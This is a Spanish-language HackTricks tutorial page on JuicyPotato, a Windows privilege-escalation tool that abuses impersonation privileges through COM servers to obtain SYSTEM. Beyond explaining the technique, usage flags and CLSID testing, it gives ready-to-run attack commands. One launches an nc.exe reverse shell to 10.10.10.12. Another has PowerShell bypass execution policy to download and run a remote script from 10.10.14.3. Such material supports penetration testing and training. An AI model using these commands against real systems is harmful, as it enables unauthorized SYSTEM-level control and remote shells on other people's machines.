10 KiB
JuicyPotato
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén el oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
{% hint style="warning" %}
JuicyPotato no funciona en Windows Server 2019 y Windows 10 a partir de la compilación 1809. Sin embargo, PrintSpoofer, RoguePotato, SharpEfsPotato se pueden utilizar para aprovechar los mismos privilegios y obtener acceso de nivel NT AUTHORITY\SYSTEM
. Verificar:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (abusando de los privilegios dorados)
Una versión azucarada de RottenPotatoNG, con un poco de jugo, es decir, otra herramienta de Escalada de Privilegios Local, desde Cuentas de Servicio de Windows a NT AUTHORITY\SYSTEM
Puedes descargar juicypotato desde https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Resumen
RottenPotatoNG y sus variantes aprovechan la cadena de escalada de privilegios basada en el servicio BITS
service teniendo el escucha MiTM en 127.0.0.1:6666
y cuando tienes privilegios SeImpersonate
o SeAssignPrimaryToken
. Durante una revisión de la compilación de Windows encontramos una configuración donde BITS
estaba deshabilitado intencionalmente y el puerto 6666
estaba ocupado.
Decidimos armar RottenPotatoNG: Dale la bienvenida a Juicy Potato.
Para la teoría, ver Rotten Potato - Escalada de Privilegios desde Cuentas de Servicio a SYSTEM y seguir la cadena de enlaces y referencias.
Descubrimos que, además de BITS
, hay varios servidores COM que podemos abusar. Solo necesitan:
- ser instanciables por el usuario actual, normalmente un "usuario de servicio" que tiene privilegios de suplantación
- implementar la interfaz
IMarshal
- ejecutarse como un usuario elevado (SYSTEM, Administrador, ...)
Después de algunas pruebas obtuvimos y probamos una extensa lista de CLSID's interesantes en varias versiones de Windows.
Detalles Jugosos
JuicyPotato te permite:
- Objetivo CLSID elige cualquier CLSID que desees. Aquí puedes encontrar la lista organizada por SO.
- Puerto de Escucha COM define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)
- Dirección IP de Escucha COM vincula el servidor en cualquier IP
- Modo de creación de proceso dependiendo de los privilegios del usuario suplantado, puedes elegir entre:
CreateProcessWithToken
(necesitaSeImpersonate
)CreateProcessAsUser
(necesitaSeAssignPrimaryToken
)ambos
- Proceso a lanzar lanza un ejecutable o script si la explotación tiene éxito
- Argumento del Proceso personaliza los argumentos del proceso lanzado
- Dirección del Servidor RPC para un enfoque sigiloso puedes autenticarte en un servidor RPC externo
- Puerto del Servidor RPC útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto
135
... - Modo de PRUEBA principalmente para propósitos de prueba, es decir, probar CLSIDs. Crea el DCOM e imprime el usuario del token. Ver aquí para pruebas
Uso
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Pensamientos finales
Del archivo README de juicy-potato:
Si el usuario tiene los privilegios SeImpersonate
o SeAssignPrimaryToken
, entonces eres SYSTEM.
Es casi imposible prevenir el abuso de todos estos Servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de DCOMCNFG
, pero buena suerte, esto va a ser un desafío.
La solución actual es proteger las cuentas y aplicaciones sensibles que se ejecutan bajo las cuentas * SERVICE
. Detener DCOM
ciertamente inhibiría este exploit, pero podría tener un impacto serio en el sistema operativo subyacente.
Desde: http://ohpe.it/juicy-potato/
Ejemplos
Nota: Visita esta página para obtener una lista de CLSIDs para probar.
Obtener una shell inversa con nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Iniciar un nuevo CMD (si tienes acceso RDP)
Problemas con CLSID
A menudo, el CLSID predeterminado que utiliza JuicyPotato no funciona y el exploit falla. Por lo general, se necesitan varios intentos para encontrar un CLSID que funcione. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Verificación de CLSIDs
Primero, necesitarás algunos ejecutables aparte de juicypotato.exe.
Descarga Join-Object.ps1 y cárgalo en tu sesión de PS, y descarga y ejecuta GetCLSID.ps1. Ese script creará una lista de posibles CLSIDs para probar.
Luego descarga test_clsid.bat (cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y cuando el número de puerto cambie, significará que el CLSID funcionó.
Verifica los CLSIDs que funcionan usando el parámetro -c
Referencias
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén la merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.